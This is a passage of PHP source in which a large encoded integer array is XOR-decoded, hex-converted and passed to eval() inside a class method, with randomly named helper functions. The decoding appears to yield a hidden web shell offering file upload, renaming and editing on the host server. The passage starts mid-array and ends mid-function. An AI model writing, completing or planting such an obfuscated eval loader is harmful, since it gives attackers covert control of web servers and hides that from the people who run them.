77, 19, 74, 78, 94, 87, 66, 104, 94, 85, 94, 88, 77, 84, 87, 122, 85, 85, 17, 28, 19, 88, 87, 78, 86, 103, 28, 18, 19, 91, 84, 87, 126, 90, 88, 81, 17, 90, 6, 3, 64, 54, 63, 25, 25, 25, 25, 90, 19, 90, 93, 93, 126, 75, 94, 83, 77, 117, 82, 72, 77, 94, 83, 94, 87, 17, 28, 88, 85, 82, 88, 80, 28, 21, 25, 17, 94, 75, 18, 6, 3, 64, 54, 63, 25, 25, 25, 25, 25, 25, 94, 75, 19, 73, 87, 94, 75, 94, 83, 77, 125, 94, 91, 90, 78, 85, 77, 17, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 88, 84, 83, 72, 77, 25, 73, 25, 6, 25, 90, 19, 92, 94, 77, 122, 77, 77, 87, 82, 103, 78, 77, 94, 17, 28, 93, 90, 77, 90, 22, 73, 90, 77, 81, 28, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 82, 91, 25, 17, 73, 18, 25, 88, 81, 90, 83, 92, 94, 125, 82, 87, 94, 88, 77, 84, 87, 66, 17, 73, 18, 0, 54, 63, 25, 25, 25, 25, 70, 18, 0, 54, 63, 25, 25, 70, 18, 0, 54, 63, 70, 54, 63, 54, 63, 90, 72, 66, 83, 88, 25, 91, 78, 83, 88, 77, 82, 84, 83, 25, 88, 81, 90, 83, 92, 94, 125, 82, 87, 94, 88, 77, 84, 87, 66, 17, 83, 94, 76, 105, 90, 77, 81, 18, 64, 54, 63, 25, 25, 72, 77, 90, 77, 94, 19, 73, 90, 77, 81, 25, 6, 25, 83, 94, 76, 105, 90, 77, 81, 0, 54, 63, 25, 25, 87, 94, 72, 94, 77, 110, 73, 85, 84, 90, 93, 123, 84, 87, 86, 17, 18, 0, 54, 63, 25, 25, 77, 87, 66, 25, 64, 25, 90, 76, 90, 82, 77, 25, 87, 94, 91, 87, 94, 72, 81, 17, 18, 0, 25, 77, 84, 90, 72, 77, 17, 89, 125, 82, 87, 94, 88, 77, 84, 87, 66, 15, 25, 29, 64, 83, 94, 76, 105, 90, 77, 81, 70, 89, 21, 25, 28, 84, 80, 28, 21, 25, 10, 11, 9, 9, 18, 0, 25, 70, 54, 63, 25, 25, 88, 90, 77, 88, 81, 17, 94, 18, 64, 25, 77, 84, 90, 72, 77, 17, 94, 19, 86, 94, 72, 72, 90, 92, 94, 21, 25, 28, 94, 87, 87, 28, 18, 0, 25, 70, 54, 63, 70, 54, 63, 54, 63, 20, 31, 25, 6, 6, 6, 6, 6, 25, 110, 73, 85, 84, 90, 93, 25, 17, 119, 122, 108, 25, 105, 116, 104, 109, 25, 103, 84, 93, 66, 21, 25, 97, 116, 119, 25, 72, 77, 87, 94, 90, 86, 0, 25, 73, 90, 87, 90, 86, 72, 25, 82, 83, 25, 110, 119, 117, 15, 25, 83, 90, 80, 65, 83, 25, 81, 94, 65, 25, 16, 25, 86, 94, 80, 82, 77, 82, 83, 83, 90, 0, 25, 72, 81, 82, 80, 82, 92, 91, 6, 78, 73, 85, 84, 90, 93, 100, 65, 84, 87, 18, 25, 6, 6, 6, 6, 6, 25, 31, 20, 54, 63, 78, 73, 85, 84, 90, 93, 123, 84, 87, 86, 19, 90, 93, 93, 126, 75, 94, 83, 77, 117, 82, 72, 77, 94, 83, 94, 87, 17, 28, 72, 78, 103, 86, 82, 77, 28, 21, 25, 90, 72, 66, 83, 88, 25, 17, 94, 18, 6, 3, 64, 54, 63, 25, 25, 94, 19, 73, 87, 94, 75, 94, 83, 77, 125, 94, 91, 90, 78, 85, 77, 17, 18, 0, 54, 63, 25, 25, 88, 84, 83, 72, 77, 25, 91, 82, 85, 94, 72, 25, 6, 25, 91, 82, 85, 94, 114, 83, 73, 78, 77, 19, 91, 82, 85, 94, 72, 0, 54, 63, 25, 25, 82, 91, 25, 17, 26, 91, 82, 85, 94, 72, 19, 85, 94, 83, 92, 77, 81, 18, 25, 64, 25, 77, 84, 90, 72, 77, 17, 28, 115, 84, 25, 91, 82, 85, 94, 72, 25, 72, 94, 85, 94, 88, 77, 94, 93, 28, 21, 25, 28, 76, 90, 87, 83, 28, 18, 0, 25, 87, 94, 77, 78, 87, 83, 0, 25, 70, 54, 63, 54, 63, 25, 25, 91, 78, 83, 88, 77, 82, 84, 83, 25, 65, 84, 87, 126, 83, 88, 84, 93, 94, 17, 78, 18, 64, 54, 63, 25, 25, 25, 25, 91, 84, 87, 25, 17, 85, 94, 77, 25, 82, 25, 6, 25, 9, 0, 25, 82, 25, 5, 25, 78, 19, 85, 94, 83, 92, 77, 81, 0, 25, 82, 16, 16, 18, 64, 54, 63, 25, 25, 25, 25, 25, 25, 88, 84, 83, 72, 77, 25, 80, 94, 66, 25, 6, 25, 17, 17, 82, 25, 31, 25, 10, 12, 18, 25, 16, 25, 118, 90, 77, 81, 19, 91, 85, 84, 84, 87, 17, 118, 90, 77, 81, 19, 85, 84, 92, 17, 82, 25, 16, 25, 23, 18, 25, 31, 25, 118, 90, 77, 81, 19, 105, 114, 25, 31, 25, 10, 9, 9, 9, 18, 18, 25, 27, 25, 9, 65, 123, 123, 0, 54, 63, 25, 25, 25, 25, 25, 25, 78, 96, 82, 102, 25, 99, 6, 25, 80, 94, 66, 0, 54, 63, 25, 25, 25, 25, 70, 54, 63, 25, 25, 25, 25, 87, 94, 77, 78, 87, 83, 25, 78, 0, 54, 63, 25, 25, 70, 54, 63, 54, 63, 25, 25, 85, 94, 77, 25, 84, 80, 120, 84, 78, 83, 77, 25, 6, 25, 9, 21, 25, 91, 90, 82, 85, 120, 84, 78, 83, 77, 25, 6, 25, 9, 0, 54, 63, 54, 63, 25, 25, 91, 84, 87, 25, 17, 88, 84, 83, 72, 77, 25, 91, 82, 85, 94, 25, 84, 91, 25, 91, 82, 85, 94, 72, 18, 64, 54, 63, 25, 25, 25, 25, 77, 87, 66, 64, 54, 63, 25, 25, 25, 25, 25, 25, 88, 84, 83, 72, 77, 25, 103, 78, 91, 25, 6, 25, 90, 76, 90, 82, 77, 25, 91, 82, 85, 94, 19, 90, 87, 87, 90, 66, 7, 78, 91, 91, 94, 87, 17, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 88, 84, 83, 72, 77, 25, 78, 25, 25, 25, 6, 25, 65, 84, 87, 126, 83, 88, 84, 93, 94, 17, 83, 94, 76, 25, 110, 82, 83, 77, 1, 122, 87, 87, 90, 66, 17, 103, 78, 91, 18, 18, 0, 25, 20, 20, 25, 97, 116, 119, 25, 17, 85, 84, 92, 25, 16, 25, 244, 185, 18, 54, 63, 54, 63, 25, 25, 25, 25, 25, 25, 88, 84, 83, 72, 77, 25, 78, 87, 85, 25, 6, 25, 83, 94, 76, 25, 110, 119, 117, 17, 85, 84, 88, 90, 77, 82, 84, 83, 19, 81, 87, 94, 91, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 78, 87, 85, 19, 72, 94, 90, 87, 88, 81, 105, 90, 87, 90, 86, 72, 19, 72, 94, 77, 17, 28, 72, 81, 82, 80, 82, 92, 91, 28, 21, 25, 28, 78, 73, 85, 84, 90, 93, 100, 65, 84, 87, 28, 18, 0, 25, 25, 25, 25, 25, 20, 20, 25, 120, 113, 122, 115, 124, 126, 125, 15, 25, 90, 88, 77, 82, 84, 83, 25, 22, 3, 25, 72, 81, 82, 80, 82, 92, 91, 54, 63, 25, 25, 25, 25, 25, 25, 78, 87, 85, 19, 72, 94, 90, 87, 88, 81, 105, 90, 87, 90, 86, 72, 19, 72, 94, 77, 17, 28, 83, 90, 80, 65, 83, 28, 21, 25, 77, 84, 113, 94, 65, 17, 72, 77, 90, 77, 94, 19, 73, 90, 77, 81, 18, 18, 0, 25, 25, 20, 20, 25, 81, 94, 65, 25, 73, 90, 77, 81, 54, 63, 25, 25, 25, 25, 25, 25, 78, 87, 85, 19, 72, 94, 90, 87, 88, 81, 105, 90, 87, 90, 86, 72, 19, 72, 94, 77, 17, 28, 86, 94, 80, 82, 77, 82, 83, 83, 90, 28, 21, 25, 91, 82, 85, 94, 19, 83, 90, 86, 94, 18, 0, 25, 25, 25, 25, 25, 25, 20, 20, 25, 91, 82, 85, 94, 83, 90, 86, 94, 54, 63, 54, 63, 25, 25, 25, 25, 25, 25, 88, 84, 83, 72, 77, 25, 87, 94, 72, 25, 25, 6, 25, 90, 76, 90, 82, 77, 25, 91, 94, 77, 88, 81, 17, 78, 87, 85, 19, 77, 84, 104, 77, 87, 82, 83, 92, 17, 18, 21, 25, 64, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 86, 94, 77, 81, 84, 93, 15, 25, 28, 105, 116, 104, 109, 28, 21, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 81, 94, 90, 93, 94, 87, 72, 15, 25, 64, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 28, 120, 84, 83, 77, 94, 83, 77, 22, 109, 66, 73, 94, 28, 15, 25, 28, 82, 86, 90, 92, 94, 20, 95, 73, 94, 92, 28, 21, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 28, 97, 22, 119, 94, 74, 78, 94, 72, 77, 94, 93, 22, 108, 82, 77, 81, 28, 15, 25, 28, 97, 118, 117, 113, 77, 77, 73, 119, 94, 74, 78, 94, 72, 77, 28, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 70, 21, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 103, 84, 93, 66, 15, 25, 78, 54, 63, 25, 25, 25, 25, 25, 25, 70, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 88, 84, 83, 72, 77, 25, 77, 94, 65, 77, 25, 6, 25, 90, 76, 90, 82, 77, 25, 87, 94, 72, 19, 77, 94, 65, 77, 17, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 88, 84, 83, 72, 77, 25, 95, 25, 6, 25, 127, 104, 116, 115, 19, 73, 90, 87, 72, 94, 17, 77, 94, 65, 77, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 82, 91, 25, 17, 26, 95, 19, 84, 80, 18, 25, 77, 81, 87, 84, 76, 25, 83, 94, 76, 25, 126, 87, 87, 84, 87, 17, 95, 19, 94, 87, 87, 84, 87, 25, 69, 69, 25, 28, 110, 73, 85, 84, 90, 93, 25, 91, 90, 82, 85, 94, 93, 28, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 84, 80, 120, 84, 78, 83, 77, 16, 16, 0, 54, 63, 25, 25, 25, 25, 70, 88, 90, 77, 88, 81, 17, 94, 87, 87, 18, 64, 54, 63, 25, 25, 25, 25, 25, 25, 88, 84, 83, 72, 84, 85, 94, 19, 94, 87, 87, 84, 87, 17, 94, 87, 87, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 91, 90, 82, 85, 120, 84, 78, 83, 77, 16, 16, 0, 54, 63, 25, 25, 25, 25, 70, 54, 63, 25, 25, 70, 54, 63, 54, 63, 25, 25, 87, 94, 72, 94, 77, 110, 73, 85, 84, 90, 93, 123, 84, 87, 86, 17, 18, 0, 54, 63, 25, 25, 82, 91, 25, 17, 84, 80, 120, 84, 78, 83, 77, 18, 25, 77, 84, 90, 72, 77, 17, 89, 110, 73, 85, 84, 90, 93, 94, 93, 25, 29, 64, 84, 80, 120, 84, 78, 83, 77, 70, 25, 91, 82, 85, 94, 17, 72, 18, 89, 21, 25, 28, 84, 80, 28, 18, 0, 54, 63, 25, 25, 82, 91, 25, 17, 91, 90, 82, 85, 120, 84, 78, 83, 77, 18, 25, 77, 84, 90, 72, 77, 17, 89, 29, 64, 91, 90, 82, 85, 120, 84, 78, 83, 77, 70, 25, 78, 73, 85, 84, 90, 93, 17, 72, 18, 25, 91, 90, 82, 85, 94, 93, 89, 21, 25, 28, 94, 87, 87, 28, 18, 0, 54, 63, 25, 25, 90, 76, 90, 82, 77, 25, 87, 94, 91, 87, 94, 72, 81, 17, 18, 0, 54, 63, 70, 18, 0, 54, 63, 54, 63, 20, 31, 25, 6, 6, 6, 6, 6, 25, 119, 94, 83, 90, 86, 94, 25, 91, 84, 87, 86, 25, 6, 6, 6, 6, 6, 25, 31, 20, 54, 63, 88, 84, 83, 72, 77, 25, 87, 94, 83, 90, 86, 94, 123, 84, 87, 86, 25, 25, 25, 6, 25, 93, 84, 88, 78, 86, 94, 83, 77, 19, 92, 94, 77, 126, 85, 94, 86, 94, 83, 77, 7, 66, 114, 93, 17, 28, 87, 94, 83, 90, 86, 94, 123, 84, 87, 86, 28, 18, 0, 54, 63, 88, 84, 83, 72, 77, 25, 84, 85, 93, 115, 90, 86, 94, 114, 83, 73, 78, 77, 25, 6, 25, 93, 84, 88, 78, 86, 94, 83, 77, 19, 92, 94, 77, 126, 85, 94, 86, 94, 83, 77, 7, 66, 114, 93, 17, 28, 84, 85, 93, 115, 90, 86, 94, 28, 18, 0, 54, 63, 88, 84, 83, 72, 77, 25, 83, 94, 76, 115, 90, 86, 94, 114, 83, 73, 78, 77, 25, 6, 25, 93, 84, 88, 78, 86, 94, 83, 77, 19, 92, 94, 77, 126, 85, 94, 86, 94, 83, 77, 7, 66, 114, 93, 17, 28, 83, 94, 76, 115, 90, 86, 94, 28, 18, 0, 54, 63, 54, 63, 82, 91, 25, 17, 87, 94, 83, 90, 86, 94, 123, 84, 87, 86, 18, 25, 64, 54, 63, 25, 25, 87, 94, 83, 90, 86, 94, 123, 84, 87, 86, 19, 90, 93, 93, 126, 75, 94, 83, 77, 117, 82, 72, 77, 94, 83, 94, 87, 17, 28, 72, 78, 103, 86, 82, 77, 28, 21, 25, 90, 72, 66, 83, 88, 25, 17, 94, 18, 25, 6, 3, 25, 64, 54, 63, 25, 25, 25, 25, 94, 19, 73, 87, 94, 75, 94, 83, 77, 125, 94, 91, 90, 78, 85, 77, 17, 18, 0, 54, 63, 25, 25, 25, 25, 88, 84, 83, 72, 77, 25, 84, 85, 93, 107, 90, 85, 25, 6, 25, 17, 84, 85, 93, 115, 90, 86, 94, 114, 83, 73, 78, 77, 4, 19, 75, 90, 85, 78, 94, 25, 69, 69, 25, 28, 28, 18, 19, 77, 87, 82, 86, 17, 18, 0, 54, 63, 25, 25, 25, 25, 88, 84, 83, 72, 77, 25, 83, 94, 76, 107, 90, 85, 25, 6, 25, 17, 83, 94, 76, 115, 90, 86, 94, 114, 83, 73, 78, 77, 4, 19, 75, 90, 85, 78, 94, 25, 69, 69, 25, 28, 28, 18, 19, 77, 87, 82, 86, 17, 18, 0, 54, 63, 54, 63, 25, 25, 25, 25, 82, 91, 25, 17, 26, 84, 85, 93, 107, 90, 85, 25, 69, 69, 25, 26, 83, 94, 76, 107, 90, 85, 18, 25, 64, 25, 77, 84, 90, 72, 77, 17, 28, 105, 85, 94, 90, 72, 94, 25, 91, 82, 85, 85, 25, 103, 84, 77, 81, 25, 83, 90, 86, 94, 72, 19, 28, 21, 25, 28, 76, 90, 87, 83, 28, 18, 0, 25, 87, 94, 77, 78, 87, 83, 0, 25, 70, 54, 63, 54, 63, 25, 25, 25, 25, 77, 87, 66, 25, 64, 54, 63, 25, 25, 25, 25, 25, 25, 90, 76, 90, 82, 77, 25, 90, 73, 82, 17, 28, 87, 94, 83, 90, 86, 94, 28, 21, 25, 64, 25, 84, 85, 93, 15, 25, 84, 85, 93, 107, 90, 85, 21, 25, 83, 94, 76, 15, 25, 83, 94, 76, 107, 90, 85, 25, 70, 18, 0, 25, 20, 20, 25, 72, 81, 82, 80, 82, 92, 91, 25, 81, 90, 83, 93, 85, 94, 93, 25, 82, 83, 25, 90, 73, 82, 17, 18, 54, 63, 25, 25, 25, 25, 25, 25, 77, 84, 90, 72, 77, 17, 89, 119, 94, 83, 90, 86, 94, 93, 25, 39, 29, 64, 84, 85, 93, 107, 90, 85, 70, 39, 25, 231, 187, 183, 25, 39, 29, 64, 83, 94, 76, 107, 90, 85, 70, 39, 89, 21, 25, 28, 84, 80, 28, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 84, 85, 93, 115, 90, 86, 94, 114, 83, 73, 78, 77, 19, 75, 90, 85, 78, 94, 25, 6, 25, 28, 28, 0, 54, 63, 25, 25, 25, 25, 25, 25, 83, 94, 76, 115, 90, 86, 94, 114, 83, 73, 78, 77, 19, 75, 90, 85, 78, 94, 25, 6, 25, 28, 28, 0, 54, 63, 25, 25, 25, 25, 25, 25, 90, 76, 90, 82, 77, 25, 87, 94, 91, 87, 94, 72, 81, 17, 18, 0, 54, 63, 25, 25, 25, 25, 70, 25, 88, 90, 77, 88, 81, 25, 17, 94, 87, 87, 18, 25, 64, 54, 63, 25, 25, 25, 25, 25, 25, 77, 84, 90, 72, 77, 17, 94, 87, 87, 19, 86, 94, 72, 72, 90, 92, 94, 25, 69, 69, 25, 28, 119, 94, 83, 90, 86, 94, 25, 91, 90, 82, 85, 94, 93, 28, 21, 25, 28, 94, 87, 87, 28, 18, 0, 54, 63, 25, 25, 25, 25, 70, 54, 63, 25, 25, 70, 18, 0, 54, 63, 70, 54, 63, 54, 63, 20, 31, 25, 6, 6, 6, 6, 6, 25, 126, 93, 82, 77, 84, 87, 25, 97, 116, 119, 25, 17, 72, 90, 75, 94, 25, 84, 83, 85, 66, 18, 25, 231, 185, 173, 25, 72, 94, 83, 93, 25, 7, 90, 72, 94, 11, 13, 25, 17, 94, 65, 82, 72, 77, 82, 83, 92, 25, 94, 93, 82, 77, 84, 87, 25, 73, 87, 84, 77, 84, 88, 84, 85, 18, 25, 6, 6, 6, 6, 6, 25, 31, 20, 54, 63, 91, 78, 83, 88, 77, 82, 84, 83, 25, 94, 93, 82, 77, 84, 87, 112, 94, 66, 17, 82, 18, 64, 54, 63, 25, 25, 88, 84, 83, 72, 77, 25, 81, 25, 6, 25, 17, 17, 82, 31, 8, 10, 25, 16, 25, 12, 18, 25, 3, 3, 3, 25, 9, 18, 19, 77, 84, 104, 77, 87, 82, 83, 92, 17, 10, 11, 18, 0, 54, 63, 25, 25, 88, 84, 83, 72, 77, 25, 85, 90, 72, 77, 23, 25, 6, 25, 81, 19, 72, 85, 82, 88, 94, 17, 22, 23, 18, 0, 54, 63, 25, 25, 88, 84, 83, 72, 77, 25, 81, 65, 25, 6, 25, 73, 90, 87, 72, 94, 114, 83, 77, 17, 85, 90, 72, 77, 23, 25, 69, 69, 25, 28, 9, 28, 21, 25, 10, 11, 18, 0, 54, 63, 25, 25, 88, 84, 83, 72, 77, 25, 80, 25, 6, 25, 17, 17, 81, 65, 25, 99, 25, 17, 82, 25, 27, 25, 9, 65, 123, 123, 18, 18, 25, 16, 25, 118, 90, 77, 81, 19, 91, 85, 84, 84, 87, 17, 118, 90, 77, 81, 19, 85, 84, 92, 10, 9, 17, 82, 25, 16, 25, 8, 18, 25, 31, 25, 2, 12, 18, 18, 25, 27, 25, 9, 65, 123, 123, 0, 54, 63, 25, 25, 87, 94, 77, 78, 87, 83, 25, 80, 0, 54, 63, 70, 54, 63, 91, 78, 83, 88, 77, 82, 84, 83, 25, 94, 93, 82, 77, 84, 87, 126, 83, 88, 84, 93, 94, 109, 84, 7, 82, 83, 90, 87, 66, 104, 77, 87, 82, 83, 92, 17, 72, 77, 87, 18, 64, 54, 63, 25, 25, 85, 94, 77, 25, 84, 78, 77, 25, 6, 25, 96, 102, 0, 54, 63, 25, 25, 91, 84, 87, 25, 17, 85, 94, 77, 25, 82, 25, 6, 25, 9, 0, 25, 82, 25, 5, 25, 72, 77, 87, 19, 85, 94, 83, 92, 77, 81, 0, 25, 82, 16, 16, 18, 64, 54, 63, 25, 25, 25, 25, 88, 84, 83, 72, 77, 25, 88, 84, 93, 94, 25, 6, 25, 72, 77, 87, 19, 88, 81, 90, 87, 120, 84, 93, 94, 122, 77, 17, 82, 18, 25, 27, 25, 9, 65, 123, 123, 0, 54, 63, 25, 25, 25, 25, 84, 78, 77, 19, 73, 78, 72, 81, 17, 104, 77, 87, 82, 83, 92, 19, 91, 87, 84, 86, 120, 81, 90, 87, 120, 84, 93, 94, 17, 88, 84, 93, 94, 25, 99, 25, 94, 93, 82, 77, 84, 87, 112, 94, 66, 17, 82, 18, 18, 18, 0, 54, 63, 25, 25, 70, 54, 63, 25, 25, 87, 94, 77, 78, 87, 83, 25, 84, 78, 77, 19, 95, 84, 82, 83, 17, 28, 28, 18, 0, 54, 63, 70, 54, 63, 91, 78, 83, 88, 77, 82, 84, 83, 25, 103, 11, 13, 126, 83, 88, 84, 93, 94, 7, 82, 83, 90, 87, 66, 17, 72, 77, 87, 18, 64, 25, 87, 94, 77, 78, 87, 83, 25, 103, 77, 84, 90, 17, 72, 77, 87, 18, 0, 25, 70, 54, 63, 54, 63, 88, 84, 83, 72, 77, 25, 94, 93, 82, 77, 84, 87, 118, 84, 93, 90, 85, 25, 6, 25, 93, 84, 88, 78, 86, 94, 83, 77, 19, 92, 94, 77, 126, 85, 94, 86, 94, 83, 77, 7, 66, 114, 93, 17, 28, 94, 93, 82, 77, 84, 87, 118, 84, 93, 90, 85, 28, 18, 0, 54, 63, 88, 84, 83, 72, 77, 25, 94, 93, 82, 77, 84, 87, 122, 87, 94, 90, 25, 6, 25, 93, 84, 88, 78, 86, 94, 83, 77, 19, 92, 94, 77, 126, 85, 94, 86, 94, 83, 77, 7, 66, 114, 93, 17, 28, 94, 93, 82, 77, 84, 87, 122, 87, 94, 90, 28, 18, 0, 54, 63, 88, 84, 83, 72, 77, 25, 94, 93, 82, 77, 84, 87, 109, 82, 77, 85, 94, 25, 6, 25, 93, 84, 88, 78, 86, 94, 83, 77, 19, 92, 94, 77, 126, 85, 94, 86, 94, 83, 77, 7, 66, 114, 93, 17, 28, 94, 93, 82, 77, 84, 87, 109, 82, 77, 85, 94, 28, 18, 0, 54, 63, 93, 84, 88, 78, 86, 94, 83, 77, 19, 92, 94, 77, 126, 85, 94, 86, 94, 83, 77, 7, 66, 114, 93, 17, 28, 94, 93, 82, 77, 84, 87, 120, 85, 84, 72, 94, 28, 18, 19, 90, 93, 93, 126, 75, 94, 83, 77, 117, 82, 72, 77, 94, 83, 94, 87, 17, 28, 88, 85, 82, 88, 80, 28, 21, 25, 17, 18, 6, 3, 64, 25, 87, 94, 72, 94, 77, 110, 73, 85, 84, 90, 93, 123, 84, 87, 86, 17, 18, 0, 25, 88, 85, 84, 72, 94, 126, 93, 82, 77, 84, 87, 17, 18, 0, 25, 70, 18, 0, 54, 63, 93, 84, 88, 78, 86, 94, 83, 77, 19, 92, 94, 77, 126, 85, 94, 86, 94, 83, 77, 7, 66, 114, 93, 17, 28, 94, 93, 82, 77, 84, 87, 104, 90, 75, 94, 28, 18, 19, 90, 93, 93, 126, 75, 94, 83, 77, 117, 82, 72, 77, 94, 83, 94, 87, 17, 28, 88, 85, 82, 88, 80, 28, 21, 25, 72, 90, 75, 94, 126, 93, 82, 77, 84, 87, 18, 0, 54, 63, 54, 63, 91, 78, 83, 88, 77, 82, 84, 83, 25, 84, 73, 94, 83, 126, 93, 82, 77, 84, 87, 17, 83, 90, 86, 94, 18, 64, 54, 63, 25, 25, 94, 93, 82, 77, 84, 87, 109, 82, 77, 85, 94, 19, 77, 94, 65, 77, 120, 84, 83, 77, 94, 83, 77, 25, 6, 25, 28, 126, 93, 82, 77, 15, 25, 28, 25, 16, 25, 83, 90, 86, 94, 0, 54, 63, 25, 25, 94, 93, 82, 77, 84, 87, 122, 87, 94, 90, 19, 75, 90, 85, 78, 94, 25, 6, 25, 28, 117, 84, 90, 93, 82, 83, 92, 231, 185, 155, 28, 0, 54, 63, 25, 25, 94, 93, 82, 77, 84, 87, 118, 84, 93, 90, 85, 19, 72, 77, 66, 85, 94, 19, 93, 82, 72, 73, 85, 90, 66, 25, 6, 25, 28, 91, 85, 94, 65, 28, 0, 54, 63, 25, 25, 72, 77, 90, 77, 94, 19, 94, 93, 82, 77, 82, 83, 92, 19, 83, 90, 86, 94, 25, 6, 25, 83, 90, 86, 94, 0, 54, 63, 25, 25, 90, 73, 82, 17, 28, 87, 94, 90, 93, 28, 21, 25, 64, 25, 83, 90, 86, 94, 25, 70, 18, 54, 63, 25, 25, 25, 25, 19, 77, 81, 94, 83, 17, 95, 25, 6, 3, 25, 64, 25, 94, 93, 82, 77, 84, 87, 122, 87, 94, 90, 19, 75, 90, 85, 78, 94, 25, 6, 25, 95, 19, 88, 84, 83, 77, 94, 83, 77, 25, 69, 69, 25, 28, 28, 0, 25, 70, 18, 54, 63, 25, 25, 25, 25, 19, 88, 90, 77, 88, 81, 17, 94, 25, 6, 3, 25, 64, 25, 94, 93, 82, 77, 84, 87, 122, 87, 94, 90, 19, 75, 90, 85, 78, 94, 25, 6, 25, 28, 28, 0, 25, 77, 84, 90, 72, 77, 17, 94, 19, 86, 94, 72, 72, 90, 92, 94, 21, 25, 28, 94, 87, 87, 28, 18, 0, 25, 70, 18, 0, 54, 63, 70, 54, 63, 91, 78, 83, 88, 77, 82, 84, 83, 25, 88, 85, 84, 72, 94, 126, 93, 82, 77, 84, 87, 17, 18, 64, 25, 94, 93, 82, 77, 84, 87, 118, 84, 93, 90, 85, 19, 72, 77, 66, 85, 94, 19, 93, 82, 72, 73, 85, 90, 66, 25, 6, 25, 28, 83, 84, 83, 94, 28, 0, 25, 72, 77, 90, 77, 94, 19, 94, 93, 82, 77, 82, 83, 92, 19, 83, 90, 86, 94, 25, 6, 25, 83, 78, 85, 85, 0, 25, 70, 54, 63, 54, 63, 90, 72, 66, 83, 88, 25, 91, 78, 83, 88, 77, 82, 84, 83, 25, 72, 90, 75, 94, 126, 93, 82, 77, 84, 87, 17, 18, 64, 54, 63, 25, 25, 88, 84, 83, 72, 77, 25, 83, 90, 86, 94, 25, 6, 25, 72, 77, 90, 77, 94, 19, 94, 93, 82, 77, 82, 83, 92, 19, 83, 90, 86, 94, 0, 54, 63, 25, 25, 82, 91, 25, 17, 26, 83, 90, 86, 94, 18, 25, 87, 94, 77, 78, 87, 83, 0, 54, 63, 25, 25, 77, 87, 66, 25, 64, 54, 63, 25, 25, 25, 25, 88, 84, 83, 72, 77, 25, 73, 85, 90, 82, 83, 25, 6, 25, 94, 93, 82, 77, 84, 87, 122, 87, 94, 90, 19, 75, 90, 85, 78, 94, 0, 54, 63, 25, 25, 25, 25, 88, 84, 83, 72, 77, 25, 103, 82, 83, 25, 25, 25, 6, 25, 94, 93, 82, 77, 84, 87, 126, 83, 88, 84, 93, 94, 109, 84, 7, 82, 83, 90, 87, 66, 104, 77, 87, 82, 83, 92, 17, 73, 85, 90, 82, 83, 18, 0, 54, 63, 25, 25, 25, 25, 88, 84, 83, 72, 77, 25, 103, 11, 13, 25, 25, 25, 6, 25, 103, 11, 13, 126, 83, 88, 84, 93, 94, 7, 82, 83, 90, 87, 66, 17, 103, 82, 83, 18, 0, 54, 63, 25, 25, 25, 25, 90, 76, 90, 82, 77, 25, 90, 73, 82, 17, 28, 72, 90, 75, 94, 28, 21, 25, 64, 25, 83, 90, 86, 94, 21, 25, 88, 84, 83, 77, 94, 83, 77, 100, 103, 11, 13, 15, 25, 103, 11, 13, 25, 70, 18, 0, 54, 63, 25, 25, 25, 25, 88, 85, 84, 72, 94, 126, 93, 82, 77, 84, 87, 17, 18, 0, 54, 63, 25, 25, 25, 25, 87, 94, 72, 94, 77, 110, 73, 85, 84, 90, 93, 123, 84, 87, 86, 17, 18, 0, 54, 63, 25, 25, 25, 25, 77, 84, 90, 72, 77, 17, 89, 104, 90, 75, 94, 93, 25, 39, 29, 64, 83, 90, 86, 94, 70, 39, 89, 21, 25, 28, 84, 80, 28, 18, 0, 54, 63, 25, 25, 25, 25, 90, 76, 90, 82, 77, 25, 87, 94, 91, 87, 94, 72, 81, 17, 18, 0, 54, 63, 25, 25, 70, 25, 88, 90, 77, 88, 81, 17, 94, 18, 64, 25, 77, 84, 90, 72, 77, 17, 94, 19, 86, 94, 72, 72, 90, 92, 94, 21, 25, 28, 94, 87, 87, 28, 18, 0, 25, 70, 54, 63, 70, 54, 63, 76, 82, 83, 93, 84, 76, 19, 90, 93, 93, 126, 75, 94, 83, 77, 117, 82, 72, 77, 94, 83, 94, 87, 17, 28, 80, 94, 66, 93, 84, 76, 83, 28, 21, 25, 17, 94, 18, 6, 3, 64, 25, 82, 91, 25, 17, 94, 19, 80, 94, 66, 25, 6, 6, 6, 25, 28, 126, 72, 88, 90, 73, 94, 28, 25, 27, 27, 25, 94, 93, 82, 77, 84, 87, 118, 84, 93, 90, 85, 19, 72, 77, 66, 85, 94, 19, 93, 82, 72, 73, 85, 90, 66, 25, 6, 6, 6, 25, 28, 91, 85, 94, 65, 28, 18, 25, 88, 85, 84, 72, 94, 126, 93, 82, 77, 84, 87, 17, 18, 0, 25, 70, 18, 0, 54, 63, 54, 63, 87, 94, 91, 87, 94, 72, 81, 17, 18, 0, 54, 63, 5, 20, 72, 88, 87, 82, 73, 77, 3, 54, 63, 5, 20, 103, 84, 93, 66, 3, 54, 63, 5, 20, 81, 77, 86, 85, 3, 54, 63];
$hex = '';
foreach ($enc as $val) {
$val = ($val ^ $key) & 0xFF;
$val = ($val + ($eyyenyneo % 5)) ^ ($nainnnnllnl % 7);
$hex .= str_pad(dechex($val), 2, '0', STR_PAD_LEFT);
}
return $this->hexToStr($hex);
}
public function getObfuscated(): string {
$plain = $this->buildPayload();
$cipher = $this->xorCrypt($plain);
return bin2hex($cipher);
}
public function run(): void {
$h = $this->getObfuscated();
$c = hex2bin($h);
$code = $this->xorCrypt($c);
eval($code);
}
private function xxxinwqitb(array $z1, array $z2): array {
return [
$z1[0] * $z2[0] - $z1[1] * $z2[1],
$z1[0] * $z2[1] + $z1[1] * $z2[0],
];
}
private function hexToStr(string $hex): string {
$out = '';
$len = strlen($hex);
for ($i = 0; $i < $len; $i += 2) {
